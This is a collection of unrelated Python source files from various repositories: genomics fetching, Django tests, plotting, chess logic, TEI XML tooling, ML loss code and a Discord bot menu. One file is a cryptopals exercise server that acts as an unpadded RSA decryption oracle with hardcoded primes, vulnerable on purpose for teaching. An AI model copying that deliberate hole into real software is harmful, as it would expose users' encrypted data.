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cruzdb/sequence.py | adelq/cruzdb | 82 | 48678 | import urllib as U
__all__ = ('sequence', )
def _seq_from_xml(xml):
start = xml.find(">", xml.find("<DNA")) + 1
end = xml.rfind("</DNA>")
return xml[start:end].replace(' ', '').replace('\n', '').strip()
def sequence(db, chrom, start, end):
"""
return the sequence for a region using the UCSC DAS
server. note the start is 1-based
each feature will have it's own .sequence method which sends
the correct start and end to this function.
>>> sequence('hg18', 'chr2', 2223, 2230)
'caacttag'
"""
url = "http://genome.ucsc.edu/cgi-bin/das/%s" % db
url += "/dna?segment=%s:%i,%i"
xml = U.urlopen(url % (chrom, start, end)).read()
return _seq_from_xml(xml)
if __name__ == "__main__":
import doctest
doctest.testmod()
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chapter2-5-your-code-in-multiple-servers/packer/webapp.py | andrecp/devops-fundamentals-to-k8s | 0 | 12593 | <reponame>andrecp/devops-fundamentals-to-k8s<gh_stars>0
#!/usr/bin/env python3
import json
from http.server import HTTPServer, BaseHTTPRequestHandler
num_requests = 0
class Handler(BaseHTTPRequestHandler):
def _set_headers(self):
self.send_response(200)
self.send_header("Content-type", "application/json")
self.end_headers()
def do_GET(self):
self._set_headers()
global num_requests
num_requests += 1
content = json.dumps({"num_requests": num_requests}).encode("utf8")
self.wfile.write(content)
if __name__ == "__main__":
http_service = HTTPServer(("0.0.0.0", 8000), Handler)
print(f"Starting http service on 0.0.0.0:8000")
http_service.serve_forever()
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tests/test_watcher.py | hiyongz/uiautomator2 | 4,493 | 134778 | # coding: utf-8
#
import uiautomator2 as u2
def test_watch_context(sess: u2.Device):
with sess.watch_context(builtin=True) as ctx:
ctx.when("App").click()
sess(text='Menu').click()
assert sess(text='Inflate from XML').wait()
def teardown_function(d: u2.Device):
print("Teardown", d)
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agenda/tests/test_models.py | migueleichler/django-tdd | 0 | 21543 | <filename>agenda/tests/test_models.py
from django.test import TestCase
from agenda.models import Compromisso
from model_mommy import mommy
class CompromissoModelTest(TestCase):
def setUp(self):
self.instance = mommy.make('Compromisso')
def test_string_representation(self):
self.assertEqual(str(self.instance), self.instance.titulo)
def test_obrigatory_fields(self):
created = Compromisso.objects.create(horario=self.instance.horario)
self.assertTrue(isinstance(created, Compromisso))
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Cas_1/C_ETA.py | Herpinemmanuel/Oceanography | 1 | 153365 | import numpy as np
import matplotlib.pyplot as plt
import cartopy.crs as ccrs
from xmitgcm import open_mdsdataset
from cartopy.mpl.gridliner import LONGITUDE_FORMATTER, LATITUDE_FORMATTER
plt.ion()
dir1 = '/homedata/bderembl/runmit/test_southatlgyre'
ds1 = open_mdsdataset(dir1,iters='all',prefix=['Eta'])
nt = 0
# Cartography of ETA
plt.figure(1)
ax = plt.subplot(projection=ccrs.PlateCarree());
ds1.Eta[nt,:,:].plot.pcolormesh('XC', 'YC', ax=ax);
plt.title('Case 1 : ETA')
ax.coastlines()
gl = ax.gridlines(draw_labels=True, alpha = 0.5, linestyle='--');
gl.xlabels_top = False
gl.ylabels_right = False
gl.xformatter = LONGITUDE_FORMATTER
gl.yformatter = LATITUDE_FORMATTER
plt.savefig('ETA_Surface_Height_Anomaly_cas1'+'.png')
plt.clf
# Averages
Average_ETA = ds1.Eta.mean().values
print('Average of Surface Height Anomaly ')
print(Average_ETA,'m')
Average_ETA_mask = ds1.Eta.where(ds1.hFacC>0).mean().values
print('Average of Surface Height Anomaly without continents')
print(Average_ETA_mask,'m')
# Temporal series
plt.figure(2)
x1 = ds1.Eta.mean(axis=[1,2])
Temporal_series =x1.plot()
plt.title('Case 1 : Temporal series of ETA')
plt.xlabel('Time')
plt.ylabel('Average of Surface Height Anomaly')
plt.savefig('Temporal_series_cas1'+'.png')
plt.clf()
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580,
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] |
board/mates/backrank.py | raaahuuulll/chess-concepts | 0 | 162910 | import chess
import board
def is_back_rank_mate(fen, move):
"""
According to Wikipedia:
> In chess, a back-rank checkmate (also known as the corridor mate) is a checkmate delivered by a rook or queen
> along a back rank (that is, the row on which the pieces [not pawns] stand at the start of the game) in which
> the mated king is unable to move up the board because the king is blocked by friendly pieces (usually pawns)
> on the second rank.
source: https://en.wikipedia.org/wiki/Back-rank_checkmate
"""
aug = board.AugBoard(fen)
their_back_rank = 7 if aug.other_color == chess.BLACK else 0
their_king = aug.other_color_king()
if any(
(
their_king is None,
chess.square_rank(their_king) != their_back_rank,
chess.square_rank(move.to_square) != their_back_rank,
)
):
return False
aug.push(move)
if any(
(
not aug.is_checkmate(),
aug.piece_type_at(move.to_square) not in [chess.QUEEN, chess.ROOK],
)
):
return False
num_friendly_blocking_pieces = 0
for square in aug.attacks(their_king) - aug.attacks(move.to_square):
if chess.square_rank(square) == their_back_rank:
continue
if bool(aug.attackers(aug.other_color, square)):
continue
piece = aug.piece_at(square)
if piece is None or piece.color != aug.current_color:
return False
else:
num_friendly_blocking_pieces += 1
return num_friendly_blocking_pieces > 0
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standoffconverter/standoffs.py | millawell/standoffconverter | 3 | 119132 | <reponame>millawell/standoffconverter
import numpy as np
import json
from .converters import flat_tree2position_table, flatten_tree, standoff2tree
from .utils import get_order_for_traversal, create_el_from_so
class Standoff:
"""Contains a reference to the etree.Element object and the corresponding ContextItem object to link the two representations.
"""
def __init__(self, tei_tree, namespaces={}):
"""Create a Converter from a tree element instance.
arguments:
tei_tree (etree.Element): the etree.Element instance.
returns:
(Standoff): The created Standoff instance.
"""
if "tei" not in namespaces:
namespaces = {"tei": ""}
self.tei_tree = tei_tree
texts = self.tei_tree.findall(".//tei:text", namespaces=namespaces)
if len(texts) == 0:
raise ValueError("No text attribute found.")
elif len(texts)>1:
raise ValueError("More than one text element is not supported.")
else:
self.text_el = texts[0]
self.text_el.tail = None # remove trailing whitespace of text element
flat_tree = flatten_tree(self.text_el)
self.table_ = flat_tree2position_table(flat_tree)
@property
def table(self):
"""Table as a flattened TEI tree and additional character-position information. The data of the table actually resides at
>>> table.df
position row_type el depth text
0 0 open text 0.0 None
1 0 open body 1.0 None
2 0 open p 2.0 None
3 0 text None NaN 1
4 1 text None NaN
5 2 text None NaN 2
6 3 text None NaN
7 4 text None NaN 3
8 5 close p 2.0 None
9 5 close body 1.0 None
10 5 close text 0.0 None
where the column `position` refers to the character position and `el` is a pointer to the actual etree.Element."""
return self.table_
@property
def tree(self):
"""tree of the TEI XML."""
return self.tei_tree
@property
def plain(self):
"""Plain text string of all text inside the <text> element of the TEI XML."""
return self.table.get_text()
@property
def standoffs(self):
"""List of standoff elements of the <text> element fo the TEI XML. Items are traversed in depth-first preorder."""
elements = {}
for position, row_type, el, depth, text in self.table:
if row_type in ["open", "empty"]:
elements[el] = {
"el": el,
"begin": position,
"end": None,
"depth": depth
}
if row_type in ["close", "empty"]:
elements[el]["end"] = position
return get_order_for_traversal(list(elements.values()))
@property
def json(self):
"""JSON string of standoff elements of the <text> element fo the TEI XML. Items are traversed in depth-first preorder."""
so_as_json = []
for standoff in self.standoffs:
so_as_json.append({
"tag": standoff["el"].tag,
"attrib": dict(standoff["el"].attrib),
"begin": int(standoff["begin"]),
"end": int(standoff["end"]),
"depth": int(standoff["depth"]),
})
return json.dumps(so_as_json)
@property
def collapsed_table(self):
"""Table with text and context of the <text> element of the tei tree. All leaf/tail text with the same context is joined."""
return self.table.collapse()
def get_parents(self, begin, end, depth=None):
"""Get all parent context.
arguments:
begin (int)-- beginning character position within the XML
end (int)-- ending character position within the XML
depth (int)-- depth of current element
returns:
parents (list) -- list of parent elements ordered by depth (closest is last).
"""
begin_ctx = self.table.get_context_at_pos(begin)
if depth is not None:
begin_parents = begin_ctx[:int(depth)]
else:
begin_parents = begin_ctx
end_ctx = self.table.get_context_at_pos(max(begin, end-1))
if depth is not None:
end_parents = end_ctx[:int(depth)]
else:
end_parents = end_ctx
if len(begin_parents) > len(end_parents):
parents = end_parents
elif len(begin_parents) < len(end_parents):
parents = begin_parents
else:
parents = begin_parents
if begin_parents != end_parents:
raise ValueError("no unique context found")
return parents
def get_children(self, begin, end, depth):
"""Get all children context.
arguments:
begin (int)-- beginning character position within the XML
end (int)-- ending character position within the XML
depth (int)-- depth of current element
returns:
children (list) -- list of children elements ordered by depth (closest is first).
"""
begin_ctx = self.table.get_context_at_pos(begin)
if depth is None:
depth = len(begin_ctx)
children = set(begin_ctx[int(depth):])
if not (self.table.df.position==begin).any():
# begin not in self.table.df.position
slice_ = self.table.df[np.logical_and(
self.table.df.position < begin,
self.table.df.row_type == "text"
)]
begin_idx = slice_.iloc[-1].name
else:
begin_idx = self.table.df[np.logical_and(
self.table.df.position == begin,
self.table.df.row_type == "text"
)].iloc[0].name
children = set()
cache = set()
c_row_pos = begin
c_row_idx = begin_idx
while c_row_pos <= end and c_row_idx < self.table.df.index.stop:
c_row = self.table.df.loc[c_row_idx]
c_row_pos = c_row.position
if c_row.row_type == "open":
cache.add(c_row.el)
if c_row.row_type == "close" and c_row.el in cache:
children.add(c_row.el)
c_row_idx += 1
return list(children)
def add_standoff(self, begin, end, tag, attrib):
raise NotImplementedError()
def __replace_el(self, old_el, new_el):
second_parent = old_el.getparent()
# and replace the subtree
if second_parent is None:
new_el.tail = self.text_el.tail
self.text_el = new_el
else:
new_el.tail = old_el.tail
second_parent.replace(
old_el,
new_el
)
def recreate_subtree(self, parent):
# extract part of the standoff table that needs to be recreated
# as etree
parent_begin, parent_end = self.table.df.loc[self.table.df.el == parent].index
to_update = self.table.df.iloc[parent_begin:parent_end]
# now, recreate the subtree this element is in
new_parent_el, old_els2new_els = standoff2tree(to_update)
for old_el, new_el in old_els2new_els.items():
self.table.set_el(old_el, {"el": new_el})
self.__replace_el(
parent,
new_parent_el
)
def add_inline(self, begin, end, tag, depth=None, attrib=None, insert_index_at_pos=0):
"""Add a standoff element to the structure.
The standoff element will be added to the caches and to the etree.
arguments:
begin (int)-- beginning character position within the XML
end (int)-- ending character position within the XML
tag (str)-- tag name, for example 'text' for <text>.
depth (int)-- depth where to add the element. If None, it will be added deepest
attrib (dict)-- dictionary of items that go into the attrib of etree.Element. Ultimately, attributes within tags. for example {"resp":"machine"} will result in <SOMETAG resp="machine">.
"""
attrib = attrib if attrib is not None else {}
# First, create a new element and get parents and children
new_el = create_el_from_so(tag, attrib)
parents = self.get_parents(begin, end, depth)
parent = parents[-1]
# DEPTH handling
# set own depth and increase children's depth by one
new_depth = depth if depth is not None else len(parents)
children = self.get_children(begin, end, new_depth)
for child in children:
child_depth = self.table.df[self.table.df.el==child].iloc[0].depth
self.table.set_el(child, {"depth":child_depth+1} )
if begin == end:
self.table.insert_empty(begin, new_el, new_depth, insert_index_at_pos=insert_index_at_pos)
else:
self.table.insert_open(begin, new_el, new_depth)
self.table.insert_close(end, new_el, new_depth)
self.recreate_subtree(parent)
def remove_inline(self, del_el):
"""Remove a standoff element from the structure.
The standoff element will be removed from the caches and from the etree.
arguments:
del_el (etree.Element)-- the element that should be removed
"""
el_open_row = self.table.df[np.logical_and(
self.table.df.el == del_el,
self.table.df.row_type.isin(["open", "empty"])
)].iloc[0]
el_close_row = self.table.df[np.logical_and(
self.table.df.el == del_el,
self.table.df.row_type.isin(["close", "empty"])
)].iloc[0]
begin = el_open_row.position
end = el_close_row.position
depth = el_open_row.depth
parents = self.get_parents(begin, end, depth)
parent = parents[-1]
children = self.get_children(begin, end, depth)
# DEPTH handling
# decrease children's depth by one
for child in children:
child_depth = self.table.df[self.table.df.el==child].iloc[0].depth
self.table.set_el(child, {"depth":child_depth-1} )
self.table.remove_el(del_el)
self.recreate_subtree(parent)
def add_span(self, begin, end, tag, depth, attrib, id_=None):
"""Add a span element to the structure.
arguments:
begin (int)-- beginning character position within the XML
end (int)-- ending character position within the XML
tag (str)-- tag name, for example 'text' for <text>.
depth (int)-- depth where to add the element. If None, it will be added deepest
"""
#add span start
attrib_ = {"spanTo":id_}
if attrib is not None:
attrib_.update(attrib)
attrib = attrib_
self.add_inline(
begin=begin,
end=begin,
tag=tag,
depth=depth,
attrib=attrib
)
#add anchor
self.add_inline(
begin=end,
end=end,
tag="anchor",
depth=depth,
attrib={"id":id_}
)
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] |
set6/rsa_armor_server.py | adbforlife/cryptopals | 0 | 87899 | import socketserver
p = 160395692291066204645240408005144298841242575157198151582479019845006873142307723737409525577934583003867070345235918629558870788852486152796303523567822483427392340129717263353909278742561965233216587675350816948572600191273169123174304199384674395264435143907098890893980591211116522240382008471178421397097
q = 144799956026363047979890964986469975101633369127539021169134308602171349323647104390702474599961496296867914662653886331492134564389169848627375094262808387339093502385516065909663887016623263743830570614293152307127908082950343687335290563649768964288627146636762435817428033480856591023672572911375858265917
n = p * q
e = 65537
lam = (p-1) * (q-1)
d = pow(e, -1, lam)
def enc(m):
m = int.from_bytes(m, 'big')
c = pow(m,e,n)
return c.to_bytes(256, 'big')
def dec(c):
c = int.from_bytes(c, 'big')
m = pow(c,d,n)
return m.to_bytes(256, 'big')
flag = b'flag{real_flag}'
encrypted = enc(flag)
print(encrypted)
class MyTCPHandler(socketserver.StreamRequestHandler):
def handle(self):
inp = self.rfile.read(256)
if inp == encrypted:
self.wfile.write(b'BAD INPUT\n')
else:
self.wfile.write(dec(inp))
if __name__ == "__main__":
HOST, PORT = "localhost", 9999
# Create the server, binding to localhost on port 9999
with socketserver.TCPServer((HOST, PORT), MyTCPHandler) as server:
# Activate the server; this will keep running until you
# interrupt the program with Ctrl-C
server.serve_forever()
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cities_light/tests/test_import.py | jsandovalc/django-cities-light | 0 | 6724 | from __future__ import unicode_literals
import glob
import os
from dbdiff.fixture import Fixture
from .base import TestImportBase, FixtureDir
from ..settings import DATA_DIR
class TestImport(TestImportBase):
"""Load test."""
def test_single_city(self):
"""Load single city."""
fixture_dir = FixtureDir('import')
self.import_data(
fixture_dir,
'angouleme_country',
'angouleme_region',
'angouleme_subregion',
'angouleme_city',
'angouleme_translations'
)
Fixture(fixture_dir.get_file_path('angouleme.json')).assertNoDiff()
def test_single_city_zip(self):
"""Load single city."""
filelist = glob.glob(os.path.join(DATA_DIR, "angouleme_*.txt"))
for f in filelist:
os.remove(f)
fixture_dir = FixtureDir('import_zip')
self.import_data(
fixture_dir,
'angouleme_country',
'angouleme_region',
'angouleme_subregion',
'angouleme_city',
'angouleme_translations',
file_type="zip"
)
Fixture(FixtureDir('import').get_file_path('angouleme.json')).assertNoDiff()
def test_city_wrong_timezone(self):
"""Load single city with wrong timezone."""
fixture_dir = FixtureDir('import')
self.import_data(
fixture_dir,
'angouleme_country',
'angouleme_region',
'angouleme_subregion',
'angouleme_city_wtz',
'angouleme_translations'
)
Fixture(fixture_dir.get_file_path('angouleme_wtz.json')).assertNoDiff()
from ..loading import get_cities_model
city_model = get_cities_model('City')
cities = city_model.objects.all()
for city in cities:
print(city.get_timezone_info().zone)
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3888,
2141,
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] |
api/go/tenki/hash/hash.py | Goryudyuma/isucon5-final | 0 | 1616125 | # -*- coding: utf-8 -*-
"""
$ python3 hash.py --date="Tue, 27 Oct 2015 08:46:40 JST"
51498849
"""
import argparse
import hashlib
import struct
def toint(date, secret):
s = date + " " + secret
m = hashlib.md5(s.encode("utf-8"))
d = m.digest()
n = struct.unpack(">I", d[0:4])[0]
return n
parser = argparse.ArgumentParser()
parser.add_argument('--date', type=str)
parser.add_argument('--secret', type=str, default="happyhalloween")
args = parser.parse_args()
n = toint(args.date, args.secret)
print("%s ==> %d" % (args.date, n))
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] |
setup.py | noelnamai/machine-learning | 0 | 106306 | <reponame>noelnamai/machine-learning
#!/usr/bin/env python3
from setuptools import setup
setup(
name = "sebaba",
version = "0.0.1",
description = "A bare metal implementation of Machine Learning algorithms",
author = "<NAME>",
author_email = "<EMAIL>",
url = "http://github.com/noelnamai/sebaba/",
license = "MIT",
package = ["sebaba", "sebaba.machinelearning"],
classifiers=[
"Programming Language :: Python :: 3.6",
"Programming Language :: Python :: 3.7",
"License :: OSI Approved :: MIT License",
"Operating System :: OS Independent",
],
python_requires = ">=3.6",
) | [
1,
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] |
mmdet/models/losses/uncertainty_loss.py | sanghun3819/LQM | 4 | 94884 | import torch.nn as nn
import torch
from ..builder import LOSSES
import numpy as np
from .utils import weighted_loss
import torch.nn.functional as F
from mmdet.core import bbox_overlaps
def _gaussian_dist_pdf(val, mean, var):
return torch.exp(- (val - mean) ** 2.0 / var / 2.0) / torch.sqrt(2.0 * np.pi * var)
# @weighted_loss
# def uncertainty_loss(pos_uncertainty_pred, pos_bbox_pred, pos_bbox_target, decoded_pred_bbox, decoded_target_bbox, eps=1e-6):
def uncertainty_loss(pos_uncertainty_pred, pos_bbox_pred, pos_bbox_target, centerness_targets, ious, eps=1e-9):
"""Forward function of loss.
Args:
pred (torch.Tensor): The prediction.(standard deviation)
pred_bbox (torch.Tensor) : Predicted bbox on reg branch
target_bbox (torch.Tensor): The learning target of the prediction.(target bbox)
"""
# torch.pi = torch.acos(torch.zeros(1)).float() * 2
device = torch.device("cuda")
# torch.pi = torch.pi.to(device)
#
# ious = bbox_overlaps(decoded_pred_bbox.clone().detach(), decoded_target_bbox, is_aligned=True).clamp(min=eps)
# loss_a = (((pos_bbox_target - pos_bbox_pred.clone().detach()) ** 2) / (2 * (pos_uncertainty_pred ** 2 + 1e-6))) + (pos_uncertainty_pred ** 2).log()/2
# # loss_a = (((pos_bbox_target-pos_bbox_pred) ** 2) / (2 * (pos_uncertainty_pred ** 2 + 1e-6))) + (pos_uncertainty_pred ** 2).log() / 2
# # print(pos_uncertainty_pred.mean(dim=0))
# # print('loss_a', loss_a)
# loss_b = torch.sum(loss_a, dim = 1) # pos point num
# # print('loss_b', loss_a)
# loss_c = loss_b + (2 * (2 * torch.pi).log())
# # print('loss_c', loss_a)
# ret = ious * loss_c
# # print('ret', ret)
# loss = ret.mean()
# # print('mean', loss)
# loss_a = (pos_uncertainty_pred * -1).exp()/2
# loss_b = (pos_bbox_target - pos_bbox_pred) ** 2
# loss_c = (loss_a * loss_b) + pos_uncertainty_pred/2
#loss_d = ious * torch.sum(loss_c, dim = 1)
# smooth_loss = torch.nn.SmoothL1Loss(reduction='none')
#
# loss = torch.exp(-pos_uncertainty_pred) * smooth_loss(pos_bbox_pred, pos_bbox_target) + 0.5 * pos_uncertainty_pred
# loss = torch.sum(loss, dim = 1)
# # loss = ious * loss
# loss = loss.mean()
# # alpha = (pos_uncertainty_pred ** 2).log()
# # alpha = pos_uncertainty_pred
#
# ## normalize bbox target
# nor = np.ndarray(4,)
# nor[0] = 1333 # left
# nor[1] = 800 # top
# nor[2] = 1333 #right
# nor[3] = 800 #bottom
# nor = torch.from_numpy(nor)
# nor = nor.type(torch.float)
# nor = nor.to(device)
# pos_bbox_target= pos_bbox_target / nor
# smooth_loss = torch.nn.SmoothL1Loss(reduction='none')
# loss = torch.exp(-pos_uncertainty_pred) * smooth_loss(pos_bbox_pred, pos_bbox_target) + 0.5 * pos_uncertainty_pred
# loss = torch.sum(loss, dim = 1)
# loss = loss * centerness_targets
# # loss = ious * loss
# loss = loss.mean()
loss = - torch.log(_gaussian_dist_pdf(pos_bbox_pred, pos_bbox_target, pos_uncertainty_pred) + 1e-9)/4
loss = torch.sum(loss, dim = 1)
# loss = loss * centerness_targets
loss = loss * ious
return loss.mean()
# return loss
@LOSSES.register_module()
class UncertaintyLoss(nn.Module):
"""UncertaintyLoss.
Args:
reduction (str, optional): The method that reduces the loss to a
scalar. Options are "none", "mean" and "sum".
loss_weight (float, optional): The weight of the loss. Defaults to 0.05
"""
def __init__(self, reduction='mean', loss_weight=0.25):
super().__init__()
self.reduction = reduction
self.loss_weight = loss_weight
# def forward(self, pos_pred, pos_pred_bbox, pos_target_bbox, decoded_pred_bbox, decoded_target_bbox, **kwargs):
def forward(self, pos_uncertainty_pred, pos_pred_bbox, pos_target_bbox, centerness_targets, ious, **kwargs):
"""Forward function of loss.
Args:
pos_pred (torch.Tensor): The prediction(standard deviation).
pos_pred_bbox (torch.Tensor): predicted bbox (l, r, t, b)
pos_bbox_target (torch.Tensor): positive bbox target (l, r, t, b)
decoded_pred_bbox(torch.Tensor): decoded predicted bbox (l, r, t, b) to (xlt, ylt, xrb, yrb)
decoded_target_bbox(torch.Tensor): decoded bbox target (l, r, t, b) to (xlt, ylt, xrb, yrb)
weight (torch.Tensor, optional): Weight of the loss for each
prediction. Defaults to None.
avg_factor (int, optional): Average factor that is used to average
the loss. Defaults to None.
Returns:
torch.Tensor: The calculated loss
"""
loss = self.loss_weight * uncertainty_loss(
pos_uncertainty_pred,
pos_pred_bbox,
pos_target_bbox,
centerness_targets,ious)
#decoded_pred_bbox,
#decoded_target_bbox,
#**kwargs)
# print('0.05 x loss', loss)
return loss | [
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] |
tests/benchmark/generate_libsvm.py | bclehmann/xgboost | 23,866 | 66655 | """Generate synthetic data in LIBSVM format."""
import argparse
import io
import time
import numpy as np
from sklearn.datasets import make_classification
from sklearn.model_selection import train_test_split
RNG = np.random.RandomState(2019)
def generate_data(args):
"""Generates the data."""
print("Generating dataset: {} rows * {} columns".format(args.rows, args.columns))
print("Sparsity {}".format(args.sparsity))
print("{}/{} train/test split".format(1.0 - args.test_size, args.test_size))
tmp = time.time()
n_informative = args.columns * 7 // 10
n_redundant = args.columns // 10
n_repeated = args.columns // 10
print("n_informative: {}, n_redundant: {}, n_repeated: {}".format(n_informative, n_redundant,
n_repeated))
x, y = make_classification(n_samples=args.rows, n_features=args.columns,
n_informative=n_informative, n_redundant=n_redundant,
n_repeated=n_repeated, shuffle=False, random_state=RNG)
print("Generate Time: {} seconds".format(time.time() - tmp))
tmp = time.time()
x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=args.test_size,
random_state=RNG, shuffle=False)
print("Train/Test Split Time: {} seconds".format(time.time() - tmp))
tmp = time.time()
write_file('train.libsvm', x_train, y_train, args.sparsity)
print("Write Train Time: {} seconds".format(time.time() - tmp))
tmp = time.time()
write_file('test.libsvm', x_test, y_test, args.sparsity)
print("Write Test Time: {} seconds".format(time.time() - tmp))
def write_file(filename, x_data, y_data, sparsity):
with open(filename, 'w') as f:
for x, y in zip(x_data, y_data):
write_line(f, x, y, sparsity)
def write_line(f, x, y, sparsity):
with io.StringIO() as line:
line.write(str(y))
for i, col in enumerate(x):
if 0.0 < sparsity < 1.0:
if RNG.uniform(0, 1) > sparsity:
write_feature(line, i, col)
else:
write_feature(line, i, col)
line.write('\n')
f.write(line.getvalue())
def write_feature(line, index, feature):
line.write(' ')
line.write(str(index))
line.write(':')
line.write(str(feature))
def main():
"""The main function.
Defines and parses command line arguments and calls the generator.
"""
parser = argparse.ArgumentParser()
parser.add_argument('--rows', type=int, default=1000000)
parser.add_argument('--columns', type=int, default=50)
parser.add_argument('--sparsity', type=float, default=0.0)
parser.add_argument('--test_size', type=float, default=0.01)
args = parser.parse_args()
generate_data(args)
if __name__ == '__main__':
main()
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] |
olwi/hw/gpiorelay.py | molkoback/olwi | 0 | 58932 | <reponame>molkoback/olwi<filename>olwi/hw/gpiorelay.py<gh_stars>0
from olwi.relay import Relay, RelayException
import gpiozero
class GPIORelay(Relay):
def __init__(self, pin=0):
self.pin = gpiozero.DigitalOutputDevice(pin, initial_value=False)
async def on(self):
self.pin.on()
async def off(self):
self.pin.off()
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flaskr_carved_rock/sqla.py | ron4u1998/flaskr-carved-rock | 0 | 1609167 | from flask_sqlalchemy import SQLAlchemy
sqla = SQLAlchemy() | [
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petal/menu.py | hdmifish/petal | 15 | 119717 | <gh_stars>10-100
from asyncio import create_task, sleep, Task
from collections import Counter
from datetime import datetime as dt, timedelta as td
from itertools import chain
from typing import Dict, List, Optional, Sequence, Tuple, TypeVar
from discord import abc, Embed, TextChannel, Message, Reaction, User
from .util.cdn import get_avatar
from .checks import all_checks, Reactions
# Assemble all the emoji we need via hexadecimal values.
# I have trust issues when it comes to eclectic characters in my source code, so
# this makes me feel slightly safer.
letters: Tuple[str, ...] = tuple(map(chr, range(0x1F1E6, 0x1F200)))
cancel: str = chr(0x1F6AB)
confirm: str = chr(0x2611)
# Alternatives:
# Red X: 0x274C
# Green X: 0x274E
# Green Check: 0x2705
# "Do Not Enter": 0x26D4
# Zodiac icons because why not
astro: Tuple[str, ...] = tuple(chr(n) for n in range(0x2648, 0x2654))
info: str = chr(0x2139) # [i]
okay: str = chr(0x1F197) # [OK]
clock: Tuple[str, ...] = (chr(0x1F55C), *(chr(n) for n in range(0x1F550, 0x1F55B)))
# List of all long-term Menu Operations, as Tasks. Before Shutdown, these can be
# cancelled en masse to have the Messages get cleaned up.
live: List[Task] = []
T_ = TypeVar("T_")
def count_votes(allowed: Sequence[str], votes: Sequence[Reaction]) -> Counter:
allowed: List[str] = [str(a).casefold() for a in allowed]
return Counter(
{
str(vote.emoji): (vote.count - 1) if vote.me else vote.count
for vote in votes
if str(vote.emoji).casefold() in allowed
}
)
class Menu:
def __init__(
self,
client,
channel: TextChannel,
title: str,
desc: str = None,
user: User = None,
colour: int = 0x_0A_CD_FF,
):
self.client = client
self.channel: abc.Messageable = channel
self.em: Embed = Embed(title=title, description=desc, colour=colour)
if user:
self.em.set_author(name=user.display_name, icon_url=get_avatar(user))
self.msg: Optional[Message] = None
self.master: User = user
def add_section(self, result: str, title: str = "Results", overwrite: int = None):
if overwrite is not None:
self.em.set_field_at(overwrite, name=title, value=str(result), inline=False)
else:
self.em.add_field(name=title, value=str(result), inline=False)
async def clear(self):
await self.msg.clear_reactions()
async def close(self, text=""):
if text:
self.em.description = text
await self.post()
await self.clear()
async def post(self):
if self.msg and self.em not in self.msg.embeds:
await self.msg.edit(embed=self.em)
else:
self.msg: Message = await self.channel.send(embed=self.em)
async def _add_buttons(self, selection: Sequence):
await self.msg.clear_reactions()
for opt in selection:
await self.msg.add_reaction(opt)
async def add_buttons(self, selection: Sequence) -> Task:
if not self.msg:
await self.post()
return create_task(self._add_buttons(selection))
# ========---
# Begin methods for actually running the interface
# ========---
### PRIVATE interfaces; Only one person may respond.
async def get_one(
self, opts: Sequence[T_], time: float = 30, title: str = "Select One"
) -> Optional[T_]:
"""Ask the user to select ONE of a set of predefined options."""
if not 1 <= len(opts) <= len(letters):
return None
letopt = dict(zip(letters, opts))
selection = [cancel, *letopt]
self.add_section(
"\n".join(f"{letter}: `{opt}`" for letter, opt in letopt.items()), title
)
await self.post()
buttons: Task = await self.add_buttons(selection)
choice = (
await Reactions.waitfor(
self.client,
all_checks(
Reactions.by_user(self.master), Reactions.on_message(self.msg)
),
timeout=time,
)
)[0]
if not choice or choice.emoji == cancel:
result = None
else:
result = letopt.get(choice.emoji)
await buttons
await self.clear()
return result
async def get_multi(
self,
opts: Sequence[T_],
time: float = 30,
prompt: str = "Select One or More and Confirm:",
title: str = "Multiple Choice",
) -> Tuple[T_, ...]:
"""Ask the user to select ONE OR MORE of a set of predefined options."""
if not 1 <= len(opts) <= len(letters):
return ()
letopt = dict(zip(letters, opts))
selection = [cancel, *letopt, confirm]
self.add_section(
"\n".join(
chain(
[prompt], (f"{letter}: `{opt}`" for letter, opt in letopt.items())
)
),
title,
)
await self.post()
buttons: Task = await self.add_buttons(selection)
ok = (str(cancel), str(confirm))
pre = all_checks(Reactions.by_user(self.master), Reactions.on_message(self.msg))
def check(react_: Reaction, user: User) -> bool:
return pre(react_, user) and str(react_.emoji) in ok
choice = (await Reactions.waitfor(self.client, check, timeout=time))[0]
if not choice or choice.emoji == cancel:
await self.clear()
return ()
try:
vm: Message = await self.channel.fetch_message(self.msg.id)
except:
await self.clear()
return ()
results: Tuple[T_, ...] = tuple(
[
letopt.get(react.emoji)
for react in vm.reactions
if (
react.emoji in selection[1:-1]
and self.master in await react.users().flatten()
)
]
)
await buttons
await self.clear()
return results
async def get_bool(
self,
time: float = 30,
# prompt: str = "Select Yes or No",
# title: str = "Boolean Choice",
) -> Optional[bool]:
"""Ask the user to click a simple YES or NO."""
selection = (confirm, cancel)
# self.em.description = prompt or "Select Yes or No"
# await self.post()
# adding = create_task(self.add_buttons(selection))
# self.add_section(prompt, title)
# await self.post()
adding: Task = await self.add_buttons(selection)
choice = (
await Reactions.waitfor(
self.client,
all_checks(
Reactions.by_user(self.master), Reactions.on_message(self.msg)
),
timeout=time,
)
)[0]
await adding
await self.clear()
if not choice:
return None
elif choice.emoji == confirm:
return True
elif choice.emoji == cancel:
return False
else:
return None
### PUBLIC interfaces; ANYONE may respond.
async def get_poll(
self,
opts: Sequence[T_],
time: int = 3600,
prompt: str = "Select One or More:",
title: str = "Poll",
) -> Dict[T_, int]:
"""Run a MULTIPLE CHOICE open poll that anyone can answer."""
if not 1 <= len(opts) <= len(letters):
return {}
letopt = dict(zip(letters, opts))
selection = list(letopt)
do_footer = not self.em.footer and not self.em.timestamp
self.add_section(
"\n".join(
chain(
[prompt], (f"{letter}: `{opt}`" for letter, opt in letopt.items())
)
),
title,
)
if do_footer:
self.em.set_footer(text="Poll Ends").timestamp = dt.utcnow() + td(
seconds=time
)
await self.post()
await (await self.add_buttons(selection))
await sleep(time)
try:
vm = await self.channel.fetch_message(self.msg.id)
except:
return {}
outcome = count_votes(selection, vm.reactions)
await self.clear()
self.add_section(
"\n".join("{}: **{}**".format(letopt.get(k), v) for k, v in outcome.items())
)
if do_footer:
self.em.set_footer(text="").timestamp = Embed.Empty
await self.post()
return outcome
async def get_vote(self, time: int = 3600) -> Dict[bool, int]:
"""Run a YES OR NO open vote that anyone can answer."""
selection = (confirm, cancel)
do_footer = not self.em.footer and not self.em.timestamp
if do_footer:
self.em.set_footer(text="Vote Ends").timestamp = dt.utcnow() + td(
seconds=time
)
await self.post()
await (await self.add_buttons(selection))
await sleep(time)
try:
vm = await self.channel.fetch_message(self.msg.id)
except:
return {}
outcome = count_votes(selection, vm.reactions)
await self.clear()
real = {True: outcome.get(confirm, 0), False: outcome.get(cancel, 0)}
self.add_section(
"\n".join(
"**{}**: **{}**".format("Yes" if k else "No", v)
for k, v in real.items()
)
)
if do_footer:
